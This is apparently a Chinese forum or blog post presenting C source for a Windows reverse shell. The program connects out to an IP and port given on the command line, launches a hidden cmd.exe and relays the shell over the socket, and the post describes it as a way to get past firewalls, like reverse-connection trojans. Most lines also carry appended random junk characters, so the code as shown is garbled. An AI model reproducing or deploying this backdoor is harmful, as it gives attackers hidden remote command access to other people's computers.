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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =3 ~/:8o  
~p0c3*  
/* ============================== o]n!(f<(*  
Rebound port in Windows NT g| <wyt[  
By wind,2006/7 YGvUwj'2a  
===============================*/ R<ND=[}s  
#include Bf`9V713  
#include  u6u=2  
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#pragma comment(lib,"wsock32.lib") MxQ?Sb%Gka  
[4&#*@  
void OutputShell(); eW'2AT?2H%  
SOCKET sClient; Os%n{_#8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qml2XJ>  
=DbY?Q<Q  
void main(int argc,char **argv) `/&SxQB<  
{ Z;Rp+ X  
WSADATA stWsaData; pv!oz2w1  
int nRet; [%A4]QzWh  
SOCKADDR_IN stSaiClient,stSaiServer; `Pn[tuIO  
U:6W+p8  
if(argc != 3) 3 voT^o  
{ d&8APe  
printf("Useage:\n\rRebound DestIP DestPort\n"); tMx}*l|]  
return; QYb33pN|  
} V&]DzjT/  
|!SO G  
WSAStartup(MAKEWORD(2,2),&stWsaData); V D?*h  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HL3XyP7  
/e}#' H   
stSaiClient.sin_family = AF_INET; .9[45][FK  
stSaiClient.sin_port = htons(0); bAk&~4Y_"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C#;jYBtT7?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $h[Q Q-  
{ ppIbjt6r  
printf("Bind Socket Failed!\n"); S/ywA9~3Q  
return; gy: %l  
} i`(^[h ?;  
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stSaiServer.sin_family = AF_INET; ?rX]x8iP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HS>f1!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X@)z80  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;^Sr"v6r>u  
{ w@\vHH.;V  
printf("Connect Error!"); (UCK;k  
return; Q cjc ,  
} hJz):d>Im  
OutputShell(); ?Ucu#UO  
} HBE.F&C88  
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void OutputShell() ^\:8w0Y^  
{ "& Dx=Yf  
char szBuff[1024]; Z BUArIC  
SECURITY_ATTRIBUTES stSecurityAttributes; {yU+)t(.  
OSVERSIONINFO stOsversionInfo; &5{xXWJK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mV^Zy  
STARTUPINFO stStartupInfo; dBV7Te4L  
char *szShell; e,_-Je  
PROCESS_INFORMATION stProcessInformation; S\6[EQ65  
unsigned long lBytesRead; nnb8Gcr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Syp"L;H8Em  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZI ;<7tF_z  
stSecurityAttributes.lpSecurityDescriptor = 0; <mMTD8Sx]  
stSecurityAttributes.bInheritHandle = TRUE; P|2E2=G  
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kU-t7'?4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \o-&f:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D0(xNhmKz  
Z|9u]xL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '\fY<Q:!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %n%xR%|  
stStartupInfo.wShowWindow = SW_HIDE; wv QMnE8\  
stStartupInfo.hStdInput = hReadPipe; y %$O-q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Cd79 tu|  
'1fNBH2  
GetVersionEx(&stOsversionInfo); [OTJVpC  
b*fgv9Kh'  
switch(stOsversionInfo.dwPlatformId) lDC$F N  
{ R`";Z$~{  
case 1: ;R=.iOn  
szShell = "command.com"; BG^C9*ZuP  
break; R .[Z]-X  
default: $P7iRM]  
szShell = "cmd.exe"; j6~nE'sQ  
break; :M{Y,~cP  
} qzw'zV  
!J*,)kRN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {HC@u{K -  
E Uar/  
send(sClient,szMsg,77,0); 0qjXQs}  
while(1) G'zF)0oD  
{ ;VO.!5W@eg  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aKUS5jDu  
if(lBytesRead) ;?}l  
{ XS0xLt=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w:Jrmx  
send(sClient,szBuff,lBytesRead,0); Ed0IWPx  
} 9jp:k><\(c  
else ?T_3n:  
{ v]% WH~>  
lBytesRead=recv(sClient,szBuff,1024,0); *?+V65~dW  
if(lBytesRead<=0) break; G iq=*D+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _ 7PMmW@  
} >StO.Q99  
} fW`&'!  
kY,U8a3!  
return; i`/+,<  
}
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